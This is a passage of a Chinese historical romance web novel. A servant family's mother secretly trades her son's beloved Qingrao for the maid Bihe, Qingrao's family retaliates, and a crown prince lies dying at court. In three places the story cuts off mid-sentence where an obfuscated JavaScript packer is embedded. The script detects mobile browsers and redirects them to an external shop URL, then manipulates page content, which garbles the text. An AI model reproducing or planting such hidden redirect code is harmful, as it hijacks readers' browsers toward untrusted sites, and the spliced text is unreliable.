齐诚看中了庄家和庄青娆手里的银钱,她却觉得,照她整日买花买钗的架势,说不准从姑娘手里顺出来的银钱早全花了个底掉,巴巴地想嫁进来,指不定是贪慕他们家的富贵! 而庄家的家产更不用说,他家那位大姐儿随了祖母的泼辣性子,如今又招了赘,将来庄家夫妇哪里还有什么多余的银钱贴补二女儿? 方才听了下人那番嚼舌,她才晓得,那蹄子那般上不得台面,自个儿妖媚勾了外头的爷,倒叫她家和哥儿当那恶人,生生将人得罪了去! 那赵三爷虽纨绔,可也是赵家的眼珠子命根子,否则不会花了大价钱送进陈家族学去。如今她儿还未考上功名,她就能用她那张狐媚的脸招来这样的祸,将来真嫁过去,等她儿入了官场,指不定给家里惹来什么滔天大祸! 袁氏的心立时变得前所未有的冷硬,一时觉得手里拎着的东西是烫手山芋,恨不得丢了去。可这会儿见了碧荷,倒动了些别的念头。 ——照那两个丫头的口风,看来府里只道庄青娆和她儿子事情的人并不多。事情,还有转圜的余地。 陈大夫人在外间的临窗大炕上见的袁氏。 她病刚好,面色瞧着还有些苍白,但仍是微微敷了粉,戴了点翠簪子,不愿在旧仆面前摆出萧瑟模样。 袁氏却自来是个脸皮厚的,一进来瞧了她这模样便跪着给她磕了头,接着便哭着道:“……夫人为一家上下操劳,清减至此,我瞧着实在不忍心……早知今日,当时绝不听我家那口子的胡话出了府去,如今也能给夫人解两三分的忧……” 绝口不提陈家近来的糟心事,只道自个儿的一番忠心。 当主子的,哪有不喜欢听好话的。陈大夫人见袁氏出去那么多年了,见了她还毕恭毕敬如当年在府里服侍一般,心里自然熨帖,面上就多了些真切的笑意,嘴上却道:“你家齐诚救了老爷的命,这样的大功我们只嫌回报得太少,你家的哥儿又那样出息,家里家外,怎么也得你照应着……” 又示意丫鬟将她扶起来,笑道:“早出了府去的人,再不必动辄跪我,被人说出去了像什么样子。” 袁氏谢了又谢,才敢在她赏的小杌子上坐了一半,恭敬得不得了。 沈氏见了更是喜欢,不觉就拉着她寒暄了许多,又赏了瓜子点心,叫她陪着吃。 主仆尽欢了半日功夫,袁氏才吞吞吐吐地说明了来意:“……夫人也知晓,我家那小子也过了十八了,读书一向勤勉,屋里却没个知冷知热的人儿。我想着,若能在夫人面前求个体面,给我家小子赐个新妇管着家事,那真是再好不过了。” 沈氏笑着抿了一口茶,品味着她话里的意思。 若是想借着陈家的门第求一门得意的亲事,便用不上“赐”这个字…… “莫非是瞧上了府里哪个丫头?”陈氏笑着道,“那实在委屈了和哥儿,到底是读书人。” “都是泥腿子出身的,哪里还能挑拣什么门第?”袁氏连忙摆摆手,笑眯眯地道:“只盼着新妇是个有主意的,家里家外能替我家和哥儿张罗着,小日子便不愁过得不好。”又低声赔笑道:“夫人病还没好全,原不该用这样的事扰夫人的清净,只是府里上上下下都是夫人一手打点的,要娶这样体面的姑娘,定是要在夫人面前诚恳求了才是正理。” “倒不知,相中了哪个?” 袁氏笑盈盈的,答得坦然:“夫人房里的碧荷姑娘,是个样样拿得出手的体面人,不知夫人可愿意割爱?” 碧荷也是一等丫鬟,同样是家底丰厚的家生子,且还是家中独女。她历来管着大夫人的嫁妆和私库,手里的银钱,比之庄青娆,不知多了几倍。 用这丫头来交差,想来她家那口子那里不会说什么。 至于和哥儿那儿……袁氏眸光一闪,到底是她亲生的儿子,难不成还能为了个姑娘和老娘翻脸不成? 庄青娆,她是无论如何都不会叫她进门的! * 却说齐和书这头望眼欲穿地等着自家娘回家,好容易等到了,却见她绷着个脸瞧不出喜气,一颗心不由提了起来。 “娘……”他着急起来,难不成陈大夫人不应? 袁氏却狠狠地刮了他一眼:“瞧你还自恃是个读书人,竟是这样沉不住气的性子!”她别过头去,冷冷道:“夫人已是应了。”却没点名道姓应了与谁的事。 齐和书一听就欢喜起来,见他娘这模样,倒是自我宽解了——他娘和青娆的娘不对头,自来就不算喜欢青娆,如今夫人应了,她却不高兴,也是有的。 “娘,你就放心罢,等青娆进了门,她定然会和儿子一道好好孝顺你,不会惹您老人家不欢喜的。”事情办成,齐和书心情大好,便有些撒娇意味的宽慰袁氏。他与青娆的事情,还得叫他娘一件件帮着办好,可不能在这时候就得意忘形惹了她不快。 袁氏面容稍霁。 想起听来的闲话,有心说教他几句,到底怕说多了露馅,只能含糊道:“你晓得我生养了你一场就好,别娶了媳妇忘了娘。再者,如今你们的事提到了台面上,近来便不许再进府去寻她说话,免得落了旁人话柄,坏了规矩。” “这是自然。” 齐和书算着,大夫人点了头,那青娆那头就得先办脱籍的事,再加上托人保媒、纳采、文名、纳吉、纳征一溜的规矩,两方恐怕却是也没什么闲暇功夫见面了。 他满心说不出的欢喜,只想着要给她送什么聘礼将人风风光光地娶进门来,一时倒未关注他娘的神情。 袁氏忍着不说,等齐诚晚上回了家,才同他交代了底细。 齐诚吃了一惊,有些愠怒:“好端端,做什么非要换了人?” 袁氏气不过,便将白日里听来的事添油加醋地说予了当家人:“你说说,这样的祸水人物,也是我们这样的家能收容得了的?将来若是被哪个官瞧去了,毁了和哥儿的仕途,才有你后悔的呢!” 齐诚原想的是既能借陈家的势,又能娶一个儿子喜欢的姑娘,一箭双雕,无有不好的。可眼下看妻子这样嫌恶那庄家的丫头,先前又出了这样的事端,心里也迟疑下来。 半晌,微微点头道:“也好,可你这样瞒了和哥儿,到时候知道了,岂不是让两家难堪?” 袁氏撇撇嘴:“放心罢,到底是我生的哥儿,哪有向着外人的?我自有法子。” 当下便哄了齐和书仍旧一心读书,为他包揽起亲事的一应事项,等齐和书知道时,是在无意间瞧见了红纸上头写的生辰八字时。 他白了一张脸,怒气冲冲地质问他娘: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053406|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么回事?这不是青娆的生辰……” 自小到大,他给她过了好几次生辰,自然知晓这时日不对。 袁氏却变了脸,一把将红纸抢过来,没好气地道:“正经人家的女儿,谁会教你知晓生辰八字?可见那庄家的丫头是个狐媚子,一心勾得你不学好,先前还叫你去打那赵家的三公子……” 到此时,齐和书才品出这意味来,他不可置信地问:“娘为我求娶的是谁?” 袁氏挪开视线,难得有些不自在:“自是更好的……夫人房里的碧荷,是管家的一把好手,样貌也还不错,虽不如庄家的出挑,却也是端正清秀……” 齐和书愣了片刻,脸色沉了下来:“这怎么能行?我要禀明大夫人,这事是乱点鸳鸯谱,我要退婚!” 最终齐和书却没能进府闹上一场,因为袁氏一听他这话,就叫家丁把他关了起来,自个儿闹起绝食来。 “那碧荷也是个家世清白的,自来循规蹈矩,不曾犯错。你这话传进了陈家人的耳朵里,是生生地逼她去死……你若真去了,这些年的圣贤书也算是读到狗肚子里去了……” 一面绝食,一面将诸如此类的诛心之言传到齐和书耳朵里。 等齐和书解了禁锢再去和袁氏说理时,两家早就过了纳征的礼数,袁氏一脸面如金纸,和儿子没说上几句话就晕厥了过去。 齐和书吓得不轻,当下里,要娶哪家的姑娘都被他抛之脑后,满心里只顾着照顾生病的母亲去了。 …… 陈府里,四姑娘近来管着宅子里的一应事务,青娆也跟着她,每日晨起便接见各处来回事的管事和妈妈。 一开始,因袁氏和沈氏是背着人谈的,齐和书的娘来求娶碧荷的事并没有传得满府皆知。 知晓时,还是因为四姑娘翻了大厨房的采买账册,见这月的面粉用超了许多,心生疑问,喊了吴妈妈来问。 吴妈妈就陪着小心,笑眯眯地给四姑娘回话道:“……是夫人院里的碧荷姑娘得了门好亲事,特意托了大厨房给她蒸了百来个喜饼,说要送给府里各处的叔叔婶婶姐姐妹妹们吃……却也没有叫俺们白出力,使了银钱过来的,只是还未来得及上账。” 一面说,一面给青娆使眼色。 大厨房这地界,油水颇多,碧荷给了她银钱,其实只是给了她做喜饼的劳累钱,原料钱吴妈妈早看在她在夫人身边的体面的份儿上给免了,说未来得及上账,只是怕四姑娘刚管家,性子太耿直。 青娆和吴妈妈有着万妈妈这一层关系在,自然也愿意在主子面前替她美言一二。就笑着问:“不知道是许了哪家的儿郎,倒叫妈妈您亲自替她做起活来?您素日里可是不爱沾咱们这些小姑娘的事儿的。” 言下之意是在四姑娘面前道她历来办事也算恭谨,即便是中饱私囊也不至于过分,此次想来是有因由。 “可不是,我原也不愿意应,因这大厨房的事儿颇多,又辛劳。只是夫人金口开了,要将碧荷许给齐诚家的哥儿,日前已经去官府销了碧荷的籍了,夫人有心给碧荷做脸,我们这儿,也是想图夫人展颜一笑……” 话毕,四姑娘还未说甚么,青娆就先呆愣住了。 过了一会儿,四姑娘也想到了什么,微微拧眉,问吴妈妈,视线却飘到青娆的脸上:“你方才说甚么?碧荷许了哪家的哥儿?” 吴妈妈不晓得内情,不知道自个儿是哪句话说错了,说的话才肚子里滚了一遍仍是疑窦,小心问:“……是齐家的齐和书啊,可是这门亲事有什么不妥?” 青娆倒吸了一口凉气,指尖深深地掐进掌心。 落子无悔,原该愿赌服输,可这一刻,钻心的痛将她淹没,她来不及用理智思考什么,身子就晃了晃。 “青娆!” 13. 第 13 章 “青娆,此去县试所耗时日颇久,恐怕等你及笄之时我来不及赶回来,特意提前给你订做了一支镯子……” “青娆,你可愿嫁我为妇,我定不负你!” “青娆,我心悦于你……” 少年人意气风发地从马车上一跃而下,看清她面容那一瞬,眉目熠熠如星河,唇角挑起欣喜的弧度,盈满雄浑壮志,势要金榜题名加身,如仙美眷在怀。 下一瞬,吴妈妈乐呵的声音响起:“要将碧荷许给齐诚家的哥儿,日前已经去官府销了碧荷的籍了……” 一幕幕往事如万千层梦魇缠绕着她,倏尔间电闪雷鸣,春末的最后一场大雨以滂沱之势在猝不及防间瓢泼落下,无情地冲洗这世间无数不甘与怨愤。 青娆脸色苍白,意识间或清醒,视线中瞥见簇拥在她床头的家人焦急的脸庞,却是迷蒙看不清晰,只觉一股恨意弥漫在心头——多少时日的青睐与筹谋,眨眼间竟是功亏一篑。 喉头涌上猩甜,气急攻心之际,竟是吐出一口血来。 这一刻,她苦笑着想,或许她劝四姑娘的话,太稚嫩太懵懂,恨一个人,也是这样的折磨。 …… 再醒来时,屋子里暗沉沉的,她稍微动了动,只觉得头疼得厉害,什么都无法思考。 崔氏听见动静,端着药进来,见她醒了,眼圈更红一层。 “娘……”她的声音听着这样软弱无力。 崔氏见她这样,原本三分的恨铁不成钢也转成了心疼,忙揽了她,端了药,一口一口亲自喂她喝。 青娆只觉得自己似乎变成了无忧无虑的孩童,眨巴着眼睛看着她娘,撒娇道:“娘,好苦。” 崔氏不理睬她,盯着她皱巴着小脸喝完了这碗又浓又苦的汤药,才从一边的碟子里拿了颗桂花糖塞进她嘴里,摸摸她的头发,难得的温柔:“二娘乖,先苦后甜。” 青娆本还忍着,一听这话,眼底又泛起了泪花。 “娘,我不该不听您的,擅自和齐和书往来。”青娆的泪珠一颗颗如断线落下,顷刻间便湿了满面。 她只晓得挑前程,挑相貌,挑人品,又哄得齐和书一心向着她。可却忘了,齐和书在他家里并不当家,衣食住行,皆要向爹娘伸手。娶妻大事,也不是他一力强求就真能如他所愿。 这事被两家瞒得风雨不透,直到要办喜宴了才被吴妈妈不小心抖落出来,在此期间,齐和书并未给她递过半句话,惹出半点乱子。可见,他没能争过袁氏,或者是,没能争过当家人齐诚。 这种丑闻,两家不提,她本也该打落牙齿和血吞,可偏生没能在四姑娘和吴妈妈面前忍住…… 她心里涌上无尽的后悔:此事一出,她又被大动干戈地从四姑娘眼前挪回了家里修养,恐怕府里眼下上上下下都在议论她吧。她真是没用,不仅没能帮家人争取到脱籍的荣耀,还害他们陪她一起丢脸…… 崔氏见她这般说,拢了眉头,正要说甚么,却听外头有人低声骂骂咧咧地进了院儿:“杀千刀的小娼.妇,仗着给夫人管库房就尾巴翘上天,还不是被姑奶奶揍得哭爹喊娘……” 青娆的泪意一哽。 崔氏也愣住了,接着沉了脸,眼皮直跳地看着青玉骂了一通后蹑手蹑脚地掀了帘子进来。 瞧见她娘和她泪眼朦胧的妹妹,青玉顿住脚,十分自然地转身准备往外走。 崔氏却青筋直跳地将她揪了回来,青玉哇哇乱叫起来,崔氏还当是她故意作怪,冷了脸要训斥,在灯下掀开了袖子却瞧见里头青青紫紫的一片。 青娆吓了一跳:“这是怎的了?” 崔氏也横了她一眼,颇有些刑讯逼供的意味。 青玉脖子一缩,愤愤不平地道:“碧荷那贱人,平素里和你与彤雯走得那样近,连彤雯都晓得你和齐和书的事儿,她能不知道?不过是仗着夫人不知内情,顺水推舟地将袁氏指桃为李的腌臜事儿认了下来,若不是心虚,她娘那种长舌妇,得了这样风光的亲事,能瞒到今日?” 青娆默了默。 碧荷时常来寻她们二人说话,有一回,齐和书来给她送书,碧荷也是瞧见了的。这事儿,的确是无从抵赖的。 崔氏面色稍霁,又睨她一眼:“光打碧荷有什么用,负了你妹妹的人还好好的,等着娶新娘子呢。” 闻言,刚刚为姐姐寻了恰当理由的青娆大为震惊。 她娘言下之意,打碧荷不过是治标不治本,打了齐和书,才能真正出气? 青玉就哼哼了一声:“这事儿娘你就不用操心了,还有你大女婿呢。等那姓齐的出门,就让郑安套了麻袋将他揍一顿。”到底是过了县试的读书人,明着打有进县衙的风险,偷偷套麻袋打一顿问题倒是不大。 崔氏微微有些赞赏地颔首,摸了摸幼女的额头,见不再发热了,起身道:“在这儿好生照顾你妹妹,娘去老夫人牌位前面拜一拜去。” 她可是从前服侍过老夫人的人,从前老夫人在的时候,大夫人常和她呛声,可人走了,大夫人反倒不敢动她屋里的老人——一个孝字,便足够压得住她的气焰。 袁氏和碧荷以为背靠大夫人,就能肆意欺负辜负她的女儿,这算盘可就打错了。 青娆眼里的泪意彻底消散了。 她看着志气昂扬离去的娘亲,又看看暴力的长姐,艰涩地问:“……爹呢?” 青玉得意地看了她一眼,嘿嘿一笑:“爹为你的事一夜(染)白了头,在书房向大老爷请罪呢。” 青娆噗嗤一声笑了出来,终是展颜。 她晕得不是时候,原以为带累了全家的名声,可爹爹、娘亲、长姐,个个都愿意为她挺身而出,用了情面(气力)帮她力挽狂澜,相信过了今夜,府里的风言风语,便会调转个头儿,转而攻击起碧荷一家来。 “傻不傻,你打了她,她也打了你,白白弄出一身伤来……” “这你就错了。你姐姐我可是一把子好力气,别以为我干着守藏书阁的差事就是娇娇弱弱的女郎,碧荷的伤比我重多了,没两天别想下床……嘶!你这什么药,这么大劲儿?” 青娆抿唇一笑,替她在灯下细细地上了药,忽而抱住姐姐的腰身,低声哽咽道:“……谢谢长姐。” 正是因有这样的家人,她才愿意经年的算计,只为给全家人谋一个再不会被主家倾轧欺辱的良籍。 如今,却是竹篮打水,一场空了。 她心里叹息一声,感动之余,顿生对来日茫茫之情。 * 碧荷挨了这一顿打,她娘高妈妈气得当即就想找大夫人告状,却被碧荷哭着拦下了。 本来庄青娆在四姑娘对账时,听了这消息晕了,她便撒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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王妈妈和碧荷连着亲戚,不好说甚么,正支吾着,周妈妈却板了脸,道:“若是有冤屈,昨儿就该来求夫人做主了。如今还没个声响,倒把夫人的脸都丢光了。” 她素来对沈氏忠心,看不上这等为了自家事搅得府里风风雨雨的丫头。 沈氏深深赞同,脸色也淡下来:“把原先给碧荷添妆的那副头面取回来吧。” 主家赐下来的添妆,自来没有收回去的道理。真要收回去,无疑是代表主家厌弃了她。 沈氏对金银物件从来不小气,贴身的丫鬟从来都是穿金戴银,新缎子不断,如今这样给碧荷没脸,可见是动了真怒了。 “奴婢明白,这回的事都是那丫头不懂事,一会儿我便亲去,取回那物件,顺便好好教训她一番。”见沈氏定了主意,王妈妈焦急之下,反倒不再劝半句,一脸恭谨地主动领了差事。 周妈妈看了她一眼,没有作声。 大夫人取回添妆后的第二日夜里,碧荷就投了湖。 “……口口声声说‘此事奴婢半点不知晓,却到底叫夫人丢了脸,夫人便让奴婢去了吧,下辈子,奴婢还要伺候您’……” 青玉从旁人那儿听来了碧荷被救起来后声声泣血的哭诉,撇了撇嘴。 青娆歪在榻上翻书,青丝垂散作慵懒之态,病了这几日,倒颇有些弱不胜衣的瘦弱了。 闻言,她合上手里的书,面色平静地剪了下灯芯,烛火将她的影子拉得悠长。 “如此,被放在火上烤的,就会是齐家了。” 14. 第 14 章 正如青娆料想的不错,碧荷跳湖寻死的事儿禀到了大夫人跟前,正院里的人先转了态度。 先是王妈妈亲自去送了药材,又延请了名医去给碧荷诊脉,后头正院里上上下下的丫鬟婆子们也开始三五成群地去碧荷家中看她,再不似先前视她如洪水猛兽般避之不及。 可见大夫人待碧荷的态度,已是有所缓和了。 后来的事,是四姑娘过来探望她时提起的。 “……碧荷是打小就进正院的,娘看着她长大,哪里又会没有情分?哪怕心里恼她丢了正院的脸,经了这事儿,也更疑心是袁氏贪心不足,而非她的过错。”四姑娘坐在炕边,一边说,一边细细地拿银刀将鲜嫩的桃肉一片片刮得齐整,摆在碟子上。 青娆半卧着,原是听住了这话出了神,等定起眼来一瞧,哪里肯再让她沾手,就要接过来自个儿弄。 四姑娘却不许她碰,还拿了银签子亲自挑了一个喂给她。 青娆微微一怔。四姑娘自小便是金尊玉贵长大,且便是府里庶出的姑娘,也绝不会亲手做这些伺候人的活计,她却做的这样娴熟……想是大夫人病了这些时日,母女俩独处时,四姑娘都会这般亲手服侍? 她念头微闪,不由避了半寸,抬眸时却见姑娘眼尾泛红,拉着她的手问:“青娆,你可是怨我了?” “姑娘这话从何说起?” “……先前我应了你二人的事,原是准备挑个娘心情好的时候便禀了她,可谁晓得家中忽然出了这样多的事端……一桩桩一件件,都叫我心力交瘁,一时便没能顾及。谁晓得一错眼……” 说这话时,四姑娘好看的眉眼都皱在了一起,显然很是懊恼内疚。 她紧紧地攥着青娆的手,神情像只唯恐被丢下的猫儿似的,无措又惊惶。 青娆一见她的模样,心里那些隐隐的不快立时消散了。 她也曾在想,若是四姑娘真将她的事放在了心上,早早地和大夫人通了气,事情也不会闹到如今这样无法转圜的余地——庄家人和碧荷的一番闹,如今确实是将矛头指向了齐家,可世道待女子多苛刻,等碧荷和齐和书再重新坐下来谈婚事,最终被人议论的,恐怕也只有他们庄家人。 心生些许埋怨,倒不是因为嫁不成齐和书有多遗憾,只是不愿瞧见家里人受她牵累罢了。 但四姑娘同样也是遭了大难,今后在婚事上恐怕也多有不易,焦头烂额之下,管不得她的事,也无可厚非。 此刻,入眼的是四姑娘对她依赖的模样,想起二人一道长大,虽为主仆,相处却常如姐妹,到底不愿叫她伤心。 “姑娘何必这样说,原是我自个儿眼光不好,寻了个错的门户,门不当户不对,不遂人愿也是常有的事。” “胡说!”四姑娘却很是生气,难得板起脸来呵斥了她一句。 青娆噤了声,却又见她深吸了口气,语调温柔又坚定地安慰她:“你们的事成不了,错不在门户之别,错在你信他。男人都是不可信的,机关算尽求的也不是真心,而是利益罢了。 日子还长,青娆,你要自个儿争气起来,谋个好前程。” 闻言,青娆望着自家姑娘,心中涌动起阵阵暖流。 “姑娘,我会争气的。”她顿了顿,反握住那细白的手指摇了摇,歪着脑袋道:“姑娘也不要灰心,您的好前程,也在后头呢。” 四姑娘听了,也摇摇她的手,慢慢地弯起了月牙般的眼睛。 …… 出了庄家的小院儿,陈阅微没有回九如院,而是去大厨房里拎了食盒,往外院书房去见她爹去了。 陈弘章正在和倚重的幕僚议事,听见下人来报,很是讶异。 从前,他这位女儿是不怎么踏足外院的,更遑论来给他送饭食了。 想起自己这些时日为她费心挑选的几户人家,他眸光闪了闪,道:“叫她进来吧。” 四姑娘拎着食盒进来,看见幕僚焦先生,目光丝毫未动,大大方方地行了个晚辈礼。 焦先生是陈弘章这些年最倚重的幕僚,年关时也会进内院给大夫人问安,所以二人也曾碰过面。 但焦先生仍是难掩惊讶,不意四姑娘竟能记得他的长相。 看了一眼面露赞赏的大人,他笑着回了礼,便知机退下了。 父女俩寒暄了一阵,陈弘章便朝女儿招了招手,压低了声音道:“四娘,你过来瞧瞧。” 四姑娘一脸好奇地过去,却见是几张男子的画像。 “黄家的事委屈你了,为父这些时日又替你寻了几门好人家……这是靖远侯家的世子爷……这是郑国公家的三公子……这是姜家的长房宗子……为父知晓你年纪轻脸皮薄,但婚姻大事,也得叫你亲自瞧了英不英俊,才好定下。” 陈弘章笑得和蔼,仿佛是个再疼爱女儿不过的父亲。陈阅微看着父亲的笑容,眼睫微动,忽而想起年幼时长姐出嫁,她印象里从来不甚在意几个女儿的父亲,眼角落下的那一滴泪。 昔年的那一滴泪,坠入此情此景,讽刺意味却更浓。 靖远侯府,老牌勋爵,可他家的世子爷却有克妻的名声,连着三任妻子都早早离世。郑国公家的三公子年纪与她相仿,可郑国公一府却没什么出息的子弟,只能靠着祖宗余荫和姻亲关系过活。姜家……是皇后娘娘的外祖家,家中出了不少阁臣,可姜家大爷膝下,已经有了原配生下的两个儿子…… 这些人家,看着显贵,可内里都禁不起细细的推敲,不是鳏夫,便是空架子。唯一值得称道的,大约是他们都是陛下的孤臣,无论日后朝局如何变化,都不会让他们受损……如今的陈家,也是如此。 找这样的姻亲,对陈家来说,是稳中求胜。但对于她来说,都是差别不大的炼狱。 四姑娘低头看了一会儿,忽而展颜一笑,摇头道:“爹爹,这些人,我都不嫁。” “若是不得不嫁鳏夫,眼下,女儿倒是有个更合适的人选。” * 东宫。 暮色沉沉,满殿的药味将华丽的被褥绡帐都浸得俱是苦味。偌大的宫殿里,行走的宫人将腰身弯得极低,仿佛要将自己的呼吸都摒弃,才好叫贵人们不将目光放在他们身上。 太子殿下,眼见着是要不成了。 这已是东宫勤务殿里伺候的宫人的共识。 先前太子坠马被送回宫中诊治,疡医出身的郭太医费了九牛二虎之力才将其腹上的伤口缝合起来,太子当晚就醒了,虽是呼痛不已意识却很清醒。 暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069002|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒的皇帝当即就松了口气,满以为太子殿下这回是化险为夷了,于是只罚了当日在马场陪侍的宗室子弟和宫人十个板子了事。 可哪晓得,过了三日后,太子忽然就发起高热来,且一整日都不曾退。 眼见着人就要烧坏了,太医院的太医们战战兢兢地请示了陛下,给太子下了些虎狼之药,强行让其退了热。 太医院这一招,原打的是毁些根底,只要能保住贵人性命便好的主意,哪知道天不遂人愿,退热后过了一日,太子的体温又慢慢升了上去。 这一回,太医们没敢再下重药,只能开些温补的药方子,又嘱咐了服侍的宫人细细伺候,不停地给太子换帕子降温。这样的法子,慢是慢些,却稳妥许多,到底也将温度降了下去。然而温度降下去,却是无济于事,到了后来,太子每隔一日便要重新发热一回,温度虽比不上头一回的厉害,却如同钝刀子割肉一般,将人的底子一点点败了下去。 近几日里,太子昏睡的时候愈发多,醒来的时辰愈发少,即便是醒了,脸色也很是不好,人更是瘦得厉害——除了能吃下几口白粥,旁的看一眼都难捱。 这样的情形,原本每日要来上三四回的皇帝却是忽然变得不悲不喜,到后来,甚至连东宫都不大踏足了。 然而,勤务殿的偏殿却每日都住着五六个要侍疾的宗室子弟。即便是先前因护驾不周挨了板子的那些,也没敢喊上半句不适。 众人都心知肚明,陛下如此,不是不生气,而是盛怒到了极致。 陛下已经年迈,好不容易得了这么一个龙章凤姿,千宠万宠的储君,眼看着他就要能接过这担子了,却偏偏在这节骨眼,又叫他白发人送黑发人…… 之所以说又,却是因在云贵妃生下的现太子前,宫里还曾有过一位中宫所出的嫡太子。可惜那一位亦是天不假年,在弱冠年岁时便骤然因病离世。 那时的陛下虽也伤心之至,可到底身子骨还强健,还能再有下一个皇子。而如今…… 落针可闻的东宫,处处都藏着风雨欲来的前兆。 周绍亲自喂了太子一盏药汤,等人昏昏沉沉地闭上眼后,面色沉肃地出了勤务殿。 不多时,便见一头戴二品官帽,身着仙鹤官袍的方脸男子上了白玉石阶,路过他时,脚步微微顿住,却没有停下。 稍倾,那人面色不善地从内殿出来,朝他使了个眼色。 旁的宗室子弟侍疾,是三天打鱼两天晒网,可身为太子伴读的周绍不同,他每日都守在东宫里,已经两日没合眼了。 “程大人,暮气渐重,不妨去东暖阁里饮一杯茶暖身。”周绍适时地开口,神情客气地寒暄。 “那就多谢国公爷了。” 待程喆从东暖阁里出来,周绍独自坐了一会儿,垂眸理了理衣袍上的褶皱,而后招手唤了个小内侍。 “……替我给宫外送一封帖子,后日一早,我去礼部陈侍郎府上拜访。” 满朝文武谁又能想到,清正如程喆,这种时候,也得费尽心思促成秦晋之盟,好让程家这叶扁舟不在疾风骤雨中倾覆。 宗亲之中,他比谁都希望太子能平安无事。 可眼见着希望渺茫了,如今,也该为自己,为襄州周氏寻好后路。 15. 第 15 章 齐和书拎着药包,一瘸一拐地回了家。 袁氏吃了几副药总不见好,仍旧咳嗽头疼不断,却再不肯叫人上门看诊。他心里焦急,今日便去了城郊一个知名的老大夫家中,苦苦哀求之下,对方才同意在没看过病人的情况下开了个温补的方子。 谁晓得,就在回城的路上,经过一棵梧桐树下时,忽然有人用麻袋套住了他的脸,对他拳打脚踢地揍了一顿——但都没有落在脸上和手上。 故而袁氏见他回来了,也没能察觉出儿子的异常,闭着眼睛仍旧躺在床上装头疼。 “娘,我今日找了老大夫新开了一副药,您再试着吃一吃,说不定明日就好了。”他宽慰了一句,将药包递给家里买的小丫鬟,又亲自从茶壶里倒了水,想端给他娘喝。 袁氏却不怎么领情:这死小子,孝心倒是一等一的,可一听她提起碧荷就顾左右而言他,半点不肯应下。 今日都什么日子了,再不定下来,碧荷一家只怕就要找上门来要说法了! 要说也是袁氏装病的缘故,两个人都被拖在家里,故而一直没能听说陈府的那一通闹。 袁氏此刻却不知晓这些,没好气地将杯子一推:“我一个老婆子,渴死也无妨!只要瞧着你成亲了,娶了靠得住的媳妇,我就是立时死了也心满意足!” 这样的话齐和书这几日没少听,他早也已经习惯了,并不反驳他只有三十七岁的“老婆子”娘亲,可要让他放弃青娆,他是狠不下决心的。 难以想到解决的办法,他索性就选择逃避,不去想青娆的处境,但也不理会他娘的无理取闹。他总想着,或许最终他娘还是没能拗过他,那他和碧荷的婚事也就作罢了。到那时,他仍旧能够和青娆和和美美地度过余生。 但今日又与往日不同,齐和书胳膊上带着伤,袁氏猛地一推,他就没拿稳杯子,茶水全洒在了他身上。 袁氏素来最心疼儿子,哪怕晓得这水早成了温水,还是忍不住青筋直跳地蹦了起来,掀开他的袖子一看,没瞧见烫伤的痕迹,倒看到几处淤青。 “天杀的!这是哪个小畜生打了你!你告诉娘,娘不把他们一家子关进牢子里去绝不罢休!”袁氏气红了眼睛,心疼得不得了。她的和哥儿是个弱不禁风的读书人,自来家里什么重活都不让他做的,这眼看着就要府试了,伤他的手,岂不是要断他的前程! 实然郑安动手的时候是起过废了齐和书的手的念头的,但想起青玉的叮嘱,到底没敢自作主张。他当齐家护卫这些年,下黑手的事没少干,反正养父和他都是孤家寡人,可庄家却是一大家子……真惹出大仇了,日后怕是给岳家那里添无尽的麻烦。 齐和书没吭声。 虽然被蒙了头,但他也不是傻子,从对方的拳脚功夫就能猜出两三分——这个节骨眼,和他有这种仇的,除了庄家还有谁?出手的人,是郑安没跑了。 作为大女婿的郑安都被气成这样要对他打黑棍了,可见庄家这几日受了多少委屈…… 齐和书本来不肯往深里想,但他娘这一番哀嚎,将他所有的心思都重新翻了出来。 他不得不正视一个事实了:郑安这一出手,代表的是,无论他能否说通母亲,庄家都不会再把女儿嫁给他了。 “娘。”齐和书没答她,只是抬起眸子,脸色十分难看,几乎是一字一顿:“您不是病了吗?” …… 齐家母子的僵持没有持续太久。 这日齐诚回来时,面色阴沉如水,袁氏被儿子戳穿了装病,二人大吵一架,正准备一把鼻涕一把泪地和当家的哭诉,见他如此神情,心就揪了起来:“这是怎么了,外头出了什么事?” 齐诚看了他一眼,闷不做声地坐下喝了好几盏茶,叫袁氏看得直拍大腿:“都这个时辰了,喝这么些茶,夜里你要睡不……” “今日去铺子里,万宝说奉了夫人的命,先替我顶一顶外头的差事,等我将家里的事处理好了,再去铺子里。”齐诚开口,截断了她的话。 袁氏愣住,有些不可思议:“大夫人不是从来不插手老爷置的那些家业吗?她把万宝派来顶了你,也不怕老爷发怒?” 闻言,齐诚苦涩一笑:“我也是这样想的。但搬出了老爷,万宝仍然不退半步……恐怕,这回的事,老爷也是点头了的。” 袁氏咬了咬牙。到底夫妻一体,大老爷对大夫人虽然算不得疼爱,却一向很是尊重。大夫人也从来不在外头做打大老爷脸的事,如今不声不响地将齐诚替换了下来,更像是在警告他们家。 